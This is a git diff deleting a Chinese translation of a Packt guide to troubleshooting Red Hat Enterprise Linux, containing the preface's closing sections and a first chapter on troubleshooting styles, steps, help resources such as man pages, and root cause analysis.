本章将向您展示如何利用常见的系统工具来确定应用问题的根本原因。 - -第 10 章,*理解 Linux 用户和内核限制*,展示了 Red Hat Enterprise Linux 有许多组件来防止用户超载系统。 本章将探讨这些组件,并解释如何修改它们以允许合法的资源利用。 - -[第 11 章](11.html#26I9K2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 11. Recovering from Common Failures"),*从常见故障中恢复*将带领您解决内存不足的问题。 这种场景在大量使用的环境中非常常见,并且很难进行故障排除。 本章不仅将讨论如何解决这个问题,而且还将讨论为什么会出现这个问题。 - -[第 12 章](12.html#29DRA1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 12. Root Cause Analysis of an Unexpected Reboot")、*意外重启根本原因分析*将前几章所学的故障排除流程和命令进行测试。 本章将指导您在意外重启的服务器上执行根本原因分析。 - -# 你需要什么来写这本书 - -虽然这本书可以是独立的,但是读者将会从拥有一个带有 Red Hat Enterprise Linux 发行版 7 的操作系统中获益良多。 当您有能力在测试系统上执行这些命令和资源时,您将更有效地学习本书中讨论的命令和资源。 - -虽然本书中介绍的许多命令、进程和资源可以在其他 Linux 发行版中使用,但如果读者无法使用 Red Hat Enterprise Linux 7,强烈建议使用 Red Hat 的下游发行版,如 CentOS 7。 - -# 这本书是写给谁的 - -如果您是一名有能力的 RHEL 管理员或顾问,希望提高您的故障排除技能和 Red Hat Enterprise Linux 知识,那么本书非常适合您。 要求具备良好的知识水平并理解基本的 Linux 命令。 - -# 约定 - -在这本书中,你会发现许多不同的文本样式来区分不同种类的信息。 下面是这些风格的一些例子以及对它们含义的解释。 - -文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄如下所示:“在合理范围内,不需要包含执行的每个`cd`或`ls`命令。” - -当我们希望提请您注意代码块的特定部分时,相关的行或项以粗体显示: - -```sh -192.168.33.12 > 192.168.33.11: ICMP host 192.168.33.12 unreachable - admin prohibited, length 68 - -``` - -任何命令行输入或输出都写如下: - -```sh -# yum install man-pages - -``` - -新词语、重要词语**以粗体显示。 您在屏幕上看到的文字,例如,在菜单或对话框中,出现这样的文本:“我们将在屏幕上看到一条消息,显示**还在这里?”** 。”** - -### 注意事项 - -警告或重要说明显示在这样的框中。 - -### 提示 - -提示和技巧是这样的。 - -# 读者反馈 - -我们欢迎读者的反馈。 让我们知道你对这本书的看法——你喜欢或不喜欢这本书。 读者反馈对我们来说很重要,因为它能帮助我们开发出你能真正从中获益最多的游戏。 - -要向我们发送一般性的反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在邮件的主题中提到这本书的标题。 - -如果有一个主题,你有专业知识,你有兴趣写或贡献一本书,请参阅我们的作者指南[www.packtpub.com/authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在,你已经自豪地拥有了一本书,我们有一些东西可以帮助你从购买中获得最大的好处。 - -## 示例代码下载 - -您可以从您的帐户[http://www.packtpub.com](http://www.packtpub.com)下载您购买的所有 Packt Publishing 图书的示例代码文件。 如果您在其他地方购买这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -## 勘误表 - -尽管我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果你在我们的书中发现错误,也许是文本或代码上的错误,如果你能向我们报告,我们将不胜感激。 通过这样做,您可以使其他读者免受挫折,并帮助我们改进这本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击**勘误表提交表格**链接,并输入您的勘误表详细信息。 一旦您的勘误表被核实,您的提交将被接受,勘误表将被上载到我们的网站或添加到该标题的勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请访问[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索字段中输入书名。 所需资料将出现在**勘误表**部分。 - -## 盗版 - -在互联网上盗版受版权保护的材料是一个贯穿所有媒体的持续问题。 在 Packt,我们非常重视版权和授权的保护。 如果您在互联网上发现我们的作品以任何形式的非法拷贝,请立即提供我们的地址或网站名称,以便我们进行补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供疑似盗版资料的链接。 - -我们感谢您的帮助,保护我们的作者和我们的能力,为您带来有价值的内容。 - -## 问题 - -如果您对本书的任何方面有任何疑问,您可以通过`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽力解决问题。 \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/01.md b/docs/rhel-troubleshoot-guide/01.md deleted file mode 100644 index 2f439368..00000000 --- a/docs/rhel-troubleshoot-guide/01.md +++ /dev/null @@ -1,574 +0,0 @@ -# 一、故障诊断的最佳实践 - -这一章,也就是第一章,可能是最重要也是最不技术性的一章。 这本书的大多数章节涵盖了特定的问题和必要的命令,以排除这些问题。 然而,本章将涵盖一些可应用于任何问题的故障排除最佳实践。 - -您可以将本章视为应用实践背后的原则。 - -# 故障排除方式 - -在介绍故障排除的最佳实践之前,了解不同类型的故障排除是很重要的。 在我的经验中,我发现人们倾向于使用以下三种类型的故障排除之一: - -* 数据收集器 -* 受过教育的猜测者 -* 适配器 - -每一种风格都有自己的优点和缺点。 让我们来看看这些风格的特点。 - -## 数据收集器 - -我喜欢将第一种类型的故障排除称为**数据收集器**。 数据收集器通常使用系统方法来解决问题。 系统故障排除方法的一般特点如下: - -* 向报告方提出具体问题,期望得到详细回答 -* 运行命令来识别大多数问题的系统性能 -* 在开始操作之前,运行一组预定义的故障排除步骤 - -这种风格的优点在于它是有效的,不管是什么级别的工程师或管理员在使用它。 通过系统地检查问题,收集每个数据点,并在执行任何解决方案之前了解结果,数据收集器能够解决他们不一定熟悉的问题。 - -这种风格的缺点是,数据收集通常不是解决问题的最快方法。 根据问题的不同,收集数据可能需要很长时间,其中一些数据可能不是找到解决方案所必需的。 - -## 有学识的猜测者 - -我喜欢将称为第二种类型的故障排除,即**有教养的猜测者**。 有教养的猜测者是那些通常使用直觉的方法来解决问题的人。 直观的方法通常有以下特点: - -* 用最少的信息确定问题的原因 -* 在解决问题之前运行几个命令 -* 利用以前的经验找出根本原因 - -这种类型的故障排除的优点是它允许您更快地提出解决方案。 当遇到问题时,这种类型的疑难解答人员倾向于借鉴经验,并且只需要很少的信息就能找到解决方案。 - -这种风格的缺点在于它严重依赖于经验,因此在有效之前需要时间。 当关注解决方案时,该故障诊断人员可能还会尝试多个操作来解决问题,这可能会使受过良好教育的猜测者看起来并没有完全理解当前的问题。 - -## 适配器 - -第三种是,也是经常被忽视的故障诊断风格; 这种风格既运用了系统风格,也运用了直观风格。 我喜欢将这种类型称为**适配器**。 适配器具有独特的特性,使其能够在系统的和直观的故障诊断风格之间切换。 这种组合风格通常比数据收集器风格更快,而且比有教养的猜测者风格更注重细节。 这是因为他们能够应用适合手头任务的故障排除风格。 - -## 选择合适的风格 - -虽然很容易说一种方法比另一种更好,但事实是,选择适当的故障排除风格在很大程度上取决于个人。 了解哪种故障排除风格最适合您的个性是很重要的。 通过了解哪种风格更适合你,你可以学习和使用适合这种风格的技术。 您还可以从其他风格中学习和采用技术来应用您通常会忽略的故障排除步骤。 - -本书将展示数据收集者和有教养的猜测者两种类型的故障诊断,并定期强调哪一种个性风格的步骤最适合。 - -# 故障处理步骤 - -故障排除是一个既严格又灵活的过程。 故障排除过程的刚性是基于以下事实:需要遵循一些基本步骤。 这样,我喜欢将故障排除过程等同于科学方法,其中科学方法具有必须遵循的特定步骤列表。 - -故障排除流程的灵活性在于,可以按照任何合理的顺序执行这些步骤。 与科学方法不同,故障排除过程的目标通常是快速解决问题。 有时,为了快速解决问题,您可能需要跳过一个步骤或按顺序执行它们。 例如,使用故障排除流程,您可能需要解决当前问题,然后确定该问题的根本原因。 - -下面的列表包含五个组成故障排除流程的步骤。 每个步骤还可以包括几个子任务,这些子任务可能与问题相关,也可能与问题无关。 遵循这些步骤是很重要的,因为不是每个问题都可以放在同一个桶里。 下面的步骤是用来作为一种最佳做法,但是,和所有事情一样,它应该适应当前的问题: - -1. 理解问题陈述。 -2. 建立一个假设。 -3. 试验和错误。 -4. 得到帮助。 -5. 文档。 - -## 理解问题陈述 - -用科学方法,第一步是建立问题陈述,也就是说:确定并理解实验的目的。 对于故障排除流程,第一步是理解报告的问题。 我们对问题理解得越好,解决问题就越容易。 - -我们可以执行许多任务来帮助我们更好地理解问题。 这是第一步,数据收集者的个性脱颖而出。 从本质上来说,数据收集者会在进入下一个步骤之前收集尽可能多的数据,然而,有经验的猜测者通常倾向于快速完成这个步骤,然后进入下一个步骤,这有时会导致一些关键信息被遗漏。 - -适配器倾向于理解哪些数据收集步骤是必要的,哪些不是。 这使得他们可以像数据收集器一样收集数据,但不需要花费时间来收集不会为当前问题增加价值的数据。 - -此故障排除步骤中的子任务是*提出正确的问题*。 - -### 问问题 - -无论是通过人工还是通过诸如票务系统这样的自动化流程,问题的报告者往往是信息的重要来源。 - -#### 门票 - -当他们收到一张票时,有教养的猜测者通常会读到票的标题,对问题做出假设,然后进入理解问题的下一个阶段。 数据收集者通常会打开票据并阅读票据的全部细节。 - -虽然这取决于票务和监控系统,但一般来说,票务中可能有有用的信息。 除非这个问题是一个常见的问题,并且您能够理解您从报头所知道的所有内容,否则阅读票证描述通常是一个好主意。 即使是少量的信息也可能有助于解决特别棘手的问题。 - -#### 人类 - -然而,从人类收集额外的信息可能是不一致的。 这在很大程度上取决于所支持的环境。 在某些环境中,报告问题的人员可以提供解决问题所需的所有细节。 在其他环境中,他们可能不理解问题,而只是简单地解释症状。 - -无论哪种解决问题的方式最适合你的个性,能够从报告问题的人那里获得重要的信息是一项重要的技能。 直觉型的问题解决者,如有教养的猜测者或适配器,往往发现这个过程比数据收集者更容易,不是因为这些人一定更擅长从人们那里获取细节,而是因为他们能够识别出具有较少信息的模式。 然而,如果数据收集器准备询问故障排除问题,那么他们可以从报告问题的获得他们需要的信息。 - -### 注意事项 - -Don't be afraid to ask the obvious questions .不要害怕问明显的问题。 - -我的第一份技术工作是在一个网络托管技术支持呼叫中心。 在那里,我经常接到用户的电话,他们不想执行基本的故障排除步骤,只是希望问题升级。 这些用户只是觉得他们自己已经执行了所有的故障排除步骤,并且发现了一个超出了一级支持的问题。 - -虽然有时这是真的,但更多的时候,问题是他们忽略了的一些基本问题。 在这个角色中,我很快了解到,即使用户不愿意回答基本或明显的问题,到最后,他们只是希望自己的问题得到解决。 如果这意味着要经历重复的步骤,那也没关系,只要问题得到解决。 - -即使在今天,由于我现在是高级工程师的升级点,我发现很多时候工程师(即使他们有多年的故障排除经验)忽略了简单的基本步骤。 - -问一些看似基本的简单问题有时能节省很多时间; 所以不要害怕问他们。 - -### 试图复制问题 - -收集信息和理解问题的最佳方法之一是亲身体验。 当报告一个问题时,最好复制该问题。 - -虽然用户可以是大量信息的来源,但他们并不总是最可靠的; 通常情况下,用户可能会遇到错误,但忽略了它,或者只是在报告问题时忘记传递错误。 - -通常,我要问用户的第一个问题是如何重新创建问题。 如果用户能够提供此信息,我将能够看到任何错误,并且通常能够更快地确定问题的解决方案。 - -### 注意事项 - -**有时重复问题是不可能的** - -虽然复制问题总是最好的,但并不总是可能的。 每天,我和许多团队一起工作; 有时,这些团队在公司内部,但很多时候他们是外部供应商。 在一个关键的问题中,我经常会看到有人做出笼统的声明,比如“如果我们不能复制它,我们就不能排除它”。 - -虽然重复一个问题有时是找到根本原因的唯一途径,这是真的,但我经常听到这种说法被滥用。 复制一个问题应该被视为一种工具; 它只是众多工具中的一个在您的故障排除工具带。 如果没有可用的工具,那么您只能使用另一种工具。 - -无法找到解决方案与由于无法复制一个问题而不试图找到解决方案之间存在显著差异。 后者不仅没有帮助,而且不专业。 - -### 运行调查类命令 - -最有可能的是,您阅读这本书是为了学习排除 Red Hat Enterprise Linux 系统故障的技术和命令。 理解问题陈述的第三个子任务就是运行调查命令来确定问题的原因。 但是,在执行调查命令之前,一定要知道前面的步骤是按逻辑顺序进行的。 - -最好的做法是,首先向报告问题的用户询问问题的一些基本细节,然后在获得足够的信息后,复制问题。 重复问题之后,下一个逻辑步骤是运行必要的命令来排除问题并调查问题的原因。 - -在故障排除过程中,您经常会回到前面的步骤。 在识别出一些关键错误后,您可能会发现必须向原始记者询问其他信息。 在进行故障排除时,不要害怕后退几步,以便清楚地了解手头的问题。 - -## 建立假设 - -用科学的方法,一旦问题陈述被制定出来,就该是建立假说的时候了。 通过故障排除过程,在您确定了问题、收集了关于问题的信息(如错误、系统当前状态等等)之后,还需要确定您认为是什么导致了问题或正在导致问题。 - -然而,有些问题可能不需要太多的假设。 通常,日志文件中的错误或系统当前状态可能会解释问题发生的原因。 在这种情况下,您可以简单地解决问题,然后进入*Documentation*步骤。 - -对于不固定的问题,您需要对根本原因进行假设。 这是必要的,因为形成假设后的下一步是试图解决问题。 如果你至少没有一个根本原因的理论,就很难解决一个问题。 - -这里有一些技巧可以用来帮助形成一个假设。 - -### 组合模式 - -当在前面的步骤中执行数据收集时,您可能会开始看到模式。 模式可以是简单的跨多个服务的类似日志条目、发生的故障类型(例如,多个服务下线),甚至是系统资源利用中出现的峰值。 - -这些模式可以用来形成问题的理论。 为了让大家明白这一点,让我们来看看一个真实的场景。 - -您正在管理一个既运行 web 应用又接收电子邮件的服务器。 您有一个监视系统,它检测到 web 服务的错误并创建了一个票据。 在调查罚单时,您还会收到一个来自电子邮件用户的电话,说明他们正在收到电子邮件反弹。 - -当您要求用户为您读出错误时,他们会提到`No space left on device`。 - -让我们来分析一下这个场景: - -* 来自监视解决方案的通知告诉我们 Apache 宕机了 -* 我们还收到了来自电子邮件用户的报告,其中的错误表明文件系统已满 - -这一切是否意味着 Apache 由于文件系统已满而关闭? 可能。 我们应该调查它吗? 绝对的! - -### 这是我以前遇到过的吗? - -上述分解导致了形成假设的下一个技术。 这听起来很简单,但却经常被遗忘。 “我以前见过这样的东西吗?” - -在前面的场景中,从电子邮件反弹中报告的错误通常表明文件系统已满。 我们是怎么知道的? 很简单,我们以前见过。 也许我们在电子邮件反弹中看到了同样的错误,或者我们在其他服务中看到了同样的错误。 重点是,误差是常见的,误差通常意味着一件事。 - -记住常见的错误对于像有教养的猜测者和适配器这样的直观类型来说是非常有用的; 这是他们倾向于自然表现的东西。 对于数据收集器,一个方便的技巧是随手保留一个常见错误的引用表。 - -### 提示 - -从我的经验来看,大多数数据收集者倾向于保存一组记录,其中包含过程的通用命令或步骤等内容。 添加常见的错误以及这些错误背后的含义是数据收集者等系统思考者更快地建立假设的好方法。 - -总之,建立一个假设对于所有类型的疑难解答者都是很重要的。 这是直觉思考者(如受过教育的猜测者和适配器者)擅长的领域。 一般来说,这些类型的疑难解答者会更快地形成一个假设,即使有时这些假设并不总是正确的。 - -## 试错 - -在科学的方法中,假设一旦形成,下一步就是实验。 对于故障排除,这等同于尝试解决问题。 - -有些问题很简单,可以根据经验使用标准程序或步骤来解决。 然而,其他问题就没那么简单了。 有时,假设被证明是错误的,或者问题最终比最初想象的更复杂。 - -在这种情况下,可能需要多次尝试才能解决问题。 我个人认为这类似于试错。 一般来说,您可能知道什么是错误的(假设),并知道如何解决它。 您尝试解决它(尝试),如果不起作用(错误),您就转向下一个可能的解决方案。 - -### 从创建备份开始 - -服用了一个新的角色作为 Linux 系统管理员,如果只有一条建议我可以给,那将是一个大多数人都已经吸取了教训:*进行更改之前,备份所有的*。 - -许多时候,作为系统管理员,我们发现自己需要更改配置文件或删除一些不需要的文件来解决问题。 不幸的是,我们可能认为我们知道什么需要删除或改变,但并不总是正确的。 - -如果进行了备份,则只需将更改恢复到以前的状态,而不需要备份。 因此,恢复更改并不容易。 - -备份可以包含许多内容,它可以是使用`rdiff-backup`之类的内容的完整系统备份、VM 快照,或者简单到创建一个文件副本。 - -### 提示 - -对于那些有兴趣了解本技巧的实际应用范围的人,只需在任何拥有四个以上系统管理员的服务器上运行以下命令,并且已经运行了好几年: - -```sh -$ find /etc –name "*.bak" - -``` - -## 寻求帮助 - -在许多情况下,在这一点上问题就解决了,但与故障排除流程中的每个步骤非常相似,它取决于手头的问题。 虽然获得帮助并不完全是一个故障排除步骤,但如果您不能自己解决问题,那么得到帮助通常是下一个合乎逻辑的步骤。 - -在寻求帮助时,通常有六种可用的资源: - -* 书 -* 团队维基或运行手册 -* 谷歌 -* 手册页 -* redhat 内核文档 -* 人 - -### 书籍 - -对于特定类型的问题,参考命令或故障排除步骤是很好的。 其他书籍,比如专门研究特定技术的书籍,可以很好地参考该技术是如何工作的。 在过去的几年里,经常可以看到一个高级管理人员有一个书架,上面放满了技术书籍。 - -在当今世界,由于书籍更频繁地以数字格式出现,它们甚至更容易用作参考。 数字格式使它们易于搜索,并允许读者比传统印刷版本更快地找到特定的部分。 - -### 团队 wiki 或 Runbooks - -在**Team Wikis**变得普遍之前,许多操作组有实体书,称为**Runbooks**。 这些书是操作团队为了保持生产环境正常运行而每天使用的流程和过程的列表。 有时,这些运行手册将包含用于供应新服务器的信息,有时它们将专门用于故障排除。 - -在今天的世界中,这些 Runbooks 已经被 Team wiki 所取代,这些 wiki 通常具有相同的内容,但是是在线的。 它们也易于搜索和更新,这意味着它们通常比传统的印刷 Runbook 更相关。 - -团队 wiki 和 Runbooks 的好处在于不仅可以解决特定于您的环境的问题,而且还可以解决这些问题。 配置服务(如 Apache)的方法有很多,外部系统创建对这些服务的依赖关系的方法甚至更多。 - -在某些环境中,您可能能够在出现问题时简单地重新启动 Apache,但在其他环境中,您可能实际上必须执行几个先决条件步骤。 如果在重新启动服务之前需要遵循特定的流程,最佳实践是在 Team Wiki 或 Runbook 中记录该流程。 - -### 谷歌 - -谷歌是这样的系统管理员的通用工具,在某一时刻,在`google.com/linux`、`google.com/microsoft`、`google.com/mac`和`google.com/bsd`有特定的搜索门户可用。 - -谷歌贬低了这些搜索门户,但这并不意味着系统管理员使用谷歌或任何其他搜索引擎进行故障排除的次数减少了。 - -事实上,在当今世界,在技术面试中经常听到“我会谷歌 it”这样的话。 - -对于那些在系统管理任务中使用谷歌的新手,有一些提示: - -* If you copy and paste a full error message (removing the server specific text) you will likely find more relevant results: - - 例如,搜索*kdumpctl:没有为崩溃内核*保留的内存将返回 600 个结果,而搜索*为崩溃内核*保留的内存将返回 449,000 个结果。 - -* 通过搜索`man`和`man netstat`这样的命令,您可以找到任何手册页的在线版本。 -* 您可以将错误封装在双引号中,以细化包含相同错误的搜索结果。 -* 以问题的形式问你想要什么通常会在教程中得到结果。 例如,*如何在 RHEL 7 上重启 Apache ?* - -虽然谷歌可以是一个伟大的资源,结果应该总是带着一粒盐。 通常,在谷歌上搜索错误时,您可能会发现一个建议命令,它提供的解释很少,只是简单地说“运行这个,它将修复它”。 在运行这些命令时要非常小心,您在系统上执行的任何命令都应该是您熟悉的命令,这一点很重要。 在执行之前,您应该始终知道命令是做什么的。 - -### Man 页面 - -当谷歌不可用或甚至有时可用时,关于命令或 Linux 的最佳信息来源通常是**手册页**。 手册页是核心 Linux 手册文档,可以通过`man`命令访问。 - -例如,要查找`netstat`命令的文档,只需运行以下命令: - -```sh -$ man netstat -NETSTAT(8) -Linux System Administrator's Manual -NETSTAT(8) - -NAME - netstat - Print network connections, routing tables, interface statistics, masquerade connections, and multicast memberships -``` - -正如您所看到的,该命令不仅输出了关于`netstat`命令的信息,而且还包含了使用信息的快速概要,如以下所示: - -```sh -SYNOPSIS - netstat [address_family_options] [--tcp|-t] [--udp|-u] [--udplite|-U] [--raw|-w] [--listening|-l] [--all|-a] [--numeric|-n] [--numeric-hosts] - [--numeric-ports] [--numeric-users] [--symbolic|-N] [--extend|-e[--extend|-e]] [--timers|-o] [--program|-p] [--verbose|-v] [--continuous|-c] - [--wide|-W] [delay] -``` - -此外,它还详细描述了每个旗帜及其功能: - -```sh - --route , -r - Display the kernel routing tables. See the description in route(8) for details. netstat -r and route -e produce the same output. - - --groups , -g - Display multicast group membership information for IPv4 and IPv6. - - --interfaces=iface , -I=iface , -i - Display a table of all network interfaces, or the specified iface. -``` - -一般来说,核心系统和库的基本手册页面是随`man-pages`包分发的。 特定命令(如`top`、`netstat`或`ps`的手册页作为该命令安装包的一部分分发。 这是因为单独的命令和组件的文档留给了包维护人员。 - -这可能意味着一些命令的文档级别没有其他命令的文档级别。 但是,一般来说,手册页是非常有用的信息源,可以回答大多数日常问题。 - -#### 阅读手册页 - -在前面的示例中,我们可以看到`netstat`的手册页包含一些信息部分。 一般来说,帮助手册页具有一致的布局,其中一些常见的部分可以在大多数帮助手册页中找到。 以下是一些常见部分的简单列表: - -* 的名字 -* 剧情简介 -* 描述 -* 例子 - -##### 名称 - -**名称**部分通常包含命令的名称和非常简短的命令描述。 下面是来自`ps`命令的手册页的名称部分: - -```sh -NAME - ps - report a snapshot of the current processes. -``` - -##### 大纲 - -命令的手册页的**摘要**部分通常会列出命令,后面跟着可能的命令标志或选项。 这个部分的一个很好的例子可以在`netstat`命令的概要中看到: - -```sh -SYNOPSIS - netstat [address_family_options] [--tcp|-t] [--udp|-u] [--raw|-w] [--listening|-l] [--all|-a] [--numeric|-n] [--numeric-hosts] [--numeric-ports] - [--numeric-users] [--symbolic|-N] [--extend|-e[--extend|- e]] [--timers|-o] [--program|-p] [--verbose|-v] [--continuous|-c] -``` - -作为命令语法的快速参考,本节非常有用。 - -##### 描述 - -**描述**部分通常包含更长的命令描述,以及各种命令选项的列表和解释。 下面的代码片段来自`cat`命令的手册页: - -```sh -DESCRIPTION - Concatenate FILE(s), or standard input, to standard output. - - -A, --show-all - equivalent to -vET - - -b, --number-nonblank - number nonempty output lines, overrides -n -``` - -描述部分非常有用,因为它不仅仅是查找选项。 在本节中,您通常可以找到有关命令的细微差别的文档。 - -##### 例子 - -手册页通常也会包括使用该命令的示例: - -```sh -EXAMPLES - cat f - g - Output f's contents, then standard input, then g's infocontents. -``` - -前面是来自`cat`命令的手册页的一个片段。 在这个例子中,我们可以看到如何使用`cat`在一个命令中读取文件和标准输入。 - -在本节中,我经常可以找到使用以前多次使用过的命令的新方法。 - -##### 附加部分 - -除了前面的部分,您可能还会看到**参见 also**、**Files**、**Author**和**History**。 这些部分也可以包含有用的信息; 然而,并不是每个 man page 都有它们。 - -#### 信息文档 - -除了手册页之外,Linux 系统通常还包含**信息文档**,这些文档的设计目的是在手册页中包含更多的额外文档。 与 man 页面非常相似,信息文档包含在命令包中,文档的质量/数量因包而异。 - -调用信息文档的方法类似于手册页,只需执行`info`命令,然后执行您希望查看的主题: - -```sh -$ info gzip -GNU Gzip: General file (de)compression -************************************** - -This manual is for GNU Gzip (version 1.5, 10 June 2014), and documents commands for compressing and decompressing data. - - Copyright (C) 1998-1999, 2001-2002, 2006-2007, 2009-2012 Free -Software Foundation, Inc. -``` - -#### 引用多个命令 - -除了使用 man 页面和信息文档来查找命令; 这些工具还可以用于查看其他项目(如系统调用或配置文件)的文档。 - -例如,如果您要使用`man`来搜索术语`signal`,您将看到以下内容: - -```sh -$ man signal -SIGNAL(2) -Linux Programmer's Manual -SIGNAL(2) - -NAME - signal - ANSI C signal handling - -SYNOPSIS - #include - - typedef void (*sighandler_t)(int); - - sighandler_t signal(int signum, sighandler_t handler); - -DESCRIPTION - The behavior of signal() varies across UNIX versions, and has also varied historically across different versions of Linux. Avoid its use: use sigaction(2) instead. See Portability below. - -signal() sets the disposition of the signal signum to handler, which is either SIG_IGN, SIG_DFL, or the address of a programmer-defined function (a "signal handler"). - -``` - -`Signal`是一个非常重要的系统调用,也是 Linux 的核心概念。 知道可以使用`man`和`info`命令来查找核心 Linux 概念和行为,这在故障诊断期间非常有用。 - -#### 安装手册 - -Red Hat EnterpriseLinux 发行版通常包括`man-pages`包; 如果您的系统没有安装`man-pages`包,您可以使用`yum`命令安装它: - -```sh -# yum install man-pages - -``` - -### Red Hat 内核文档 - -除了手册页之外,Red Hat 发行版还有一个名为**kernel-doc**的包。 这个包包含了相当多的关于系统内部如何工作的信息。 - -内核文档是一组放在`/usr/share/doc/kernel-doc-/`中的文本文件,并根据它们所涉及的主题进行分类。 这个资源对于更深入的故障诊断非常有用,比如调整内核可调项或理解`ext4`文件系统如何利用日志。 - -默认情况下,没有安装`kernel-doc`包,但是,可以使用`yum`命令轻松地安装它: - -```sh -# yum install kernel-doc - -``` - -### 人 - -无论是朋友还是团队领导,在向他人寻求帮助时都有一定的礼仪。 以下是人们在被要求帮助解决问题时通常会想到的一些事情。 有人向我求助时,我希望你能: - -* **尝试解决它自己**:升级一个问题的时候,最好至少试着按照*理解问题*语句和形成假说*故障诊断过程的步骤。* -** **记录您的尝试**:文档是升级问题或获得帮助的关键。 您越好地记录尝试的步骤和发现的错误,其他人就会越快地识别和解决问题。* :当你将问题升级时,首先要指出的一件事就是你的假设。 通常情况下,这可以帮助加快解决方案,引导下一个人找到可能的解决方案,而无需执行数据收集活动。* **提到这个系统最近是否发生了其他任何事情**:问题通常是成对出现的,突出显示系统或受影响系统上正在发生的所有因素是很重要的。* - - *前面的列表虽然不是很广泛,但很重要,因为每个关键信息都可以帮助下一个人有效地排除问题。 - -#### 跟进 - -当逐步升级问题时,最好的做法是跟踪对方,看看他们做了什么,以及他们是如何做到的。 这一点很重要,因为这会让对方知道你愿意了解更多,很多时候这会让他们花时间解释他们是如何解决和确定问题的。 - -这样的交互将为您提供更多的知识,并帮助您构建系统的管理技能和经验。 - -## 文档 - -文档是故障排除过程中的关键步骤。 在流程的每一步中,关键是要记录并记录正在执行的操作。 为什么写文档很重要? 三个主要原因: - -* 当问题升级时,你记下的信息越多,你就越有可能传递给别人 -* 如果问题是反复出现的问题,那么可以使用文档更新 Team Wiki 或 Runbook -* 如果在您的环境中执行**根本原因分析**(**RCA**),那么 RCA 将需要所有这些信息 - -根据环境的不同,文档可以是保存在本地系统文本文件中的简单注释,也可以是票据系统所需的注释。 每个工作环境都是不同的,但总的规则是*没有太多的文档*。 - -对于数据收集器来说,这一步是相当自然的。 因为大多数数据收集者通常会保留一些笔记供自己使用。 对于有经验的猜测者来说,这一步似乎是不必要的。 然而,对于任何反复出现或需要升级的问题,文档是至关重要的。 - -什么样的信息应该被记录? 下面的列表是一个很好的起点,但与故障排除中的大多数事情一样,它取决于环境和问题: - -* 问题陈述,正如你所理解的 -* 是什么导致了问题的假设 -* 在信息收集步骤中收集的数据: - * 具体的错误发现 - * 相关的系统指标(例如,CPU、内存和磁盘利用率) -* 在信息收集步骤中执行的命令(在合理的情况下,不需要包含执行的每个`cd`或`ls`命令) -* 在尝试解决问题期间所采取的步骤,包括执行的特定命令 - -有了前面的项的良好文档记录,如果再次出现问题,那么获取文档并将其移动到 Team Wiki 中就相对简单了。 这样做的好处是,需要在重复出现时解决相同问题的其他团队成员可以使用 Wiki 文章。 - -前面列出的文档的三个原因之一是在根本原因分析期间使用文档,这就引出了我们的下一个主题——建立根本原因分析。 - -# 根本原因分析 - -根本原因分析是在事件发生后进行的过程。 RCA 过程的目标是确定事件的根本原因,并确定任何可能的纠正措施,以防止同样的事件再次发生。 这些纠正措施可能和建立用户培训一样简单,以便跨所有 web 服务器重新配置 Apache。 - -RCA 过程并非技术所独有,它在航空和职业安全等领域广泛应用。 在这些领域中,事故通常不仅仅是几台计算机脱机。 这些事件可能会危及一个人的生命。 - -## 一个好的 RCA 的解剖 - -不同的工作环境可能会以不同的方式实现 RCA 过程,但在一天结束的时候,每一个好的 RCA 都有几个关键元素: - -* 正如报道的那样 -* 问题的真正根源 -* 事件和行动的时间表 -* 任何关键数据点 -* 防止事故再次发生的行动计划 - -### 正如报道的那样 - -故障排除过程中的第一个步骤是识别问题; 该信息是 rca 的关键信息。 根据问题的不同,重要性也会有所不同。 有时,这些信息将显示问题是否被正确识别。 大多数时候,它可以用来估计问题的影响。 - -理解一个问题的影响是非常重要的,对一些公司和问题来说,这可能意味着损失收入; 对于其他公司来说,这可能意味着他们的品牌受损,或者根据问题的不同,这可能根本没有任何意义。 - -### 问题的真正根源 - -根本原因分析的这个元素的重要性不言自明。 然而,有时可能无法确定根本原因。 在本章和[第 12 章](12.html#29DRA1-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 12. Root Cause Analysis of an Unexpected Reboot")、*意外重启的根本原因分析*中,我将讨论无法找到完全根本原因的问题。 - -## 事件和所采取的行动的时间表 - -如果我们以航空事故为例,很容易看到事件的时间线,如飞机何时起飞,乘客何时登机,以及维修人员何时完成评估,可以是有用的。 技术事件的时间线也非常有用,因为它可以用来确定影响的长度以及采取关键行动的时间。 - -一个好的时间表应该包括时间和事件的主要事件。 以下是一个技术事件的时间轴示例: - -* 8 点,Joe b 打电话给 NOC 热线,报告坦佩的电子邮件服务器出现故障 -* 在 8 点 15 分,John c 登陆了 Tempe 的电子邮件服务器,并注意到它们的可用内存即将耗尽 -* 8 点 17 分,根据 Runbook, John c 开始逐个重启电子邮件服务器 - -### 任何验证根本原因的关键数据点 - -除了事件的时间轴外,RCA 还应该包括关键数据点。 再次以航空为例,一个关键的数据点将是事故期间的天气状况、相关人员的工作时间或飞机的状况。 - -我们的时间轴示例包括一些关键数据点,包括: - -* 事件发生时间:08:00 -* 电子邮件服务器状态:可用内存不足 -* 受影响的服务:电子邮件 - -无论这些数据点是独立的还是在一个时间轴内,确保这些数据点在 RCA 中被很好地记录是很重要的。 - -## 防止事故再次发生的行动计划 - -执行根本原因分析的全部要点是确定事件发生的原因和防止其再次发生的行动计划。 - -不幸的是,这是我看到许多 RCA 忽略的领域。 如果实施得好,RCA 过程是有用的; 然而,如果执行不当,它们可能会变成时间和资源的浪费。 - -通常情况下,由于实现很差,您会发现无论大小,每个事件都需要 rca。 这样做的问题是,它会导致 rca 的质量下降。 RCA 应该只在事件造成重大影响时执行。 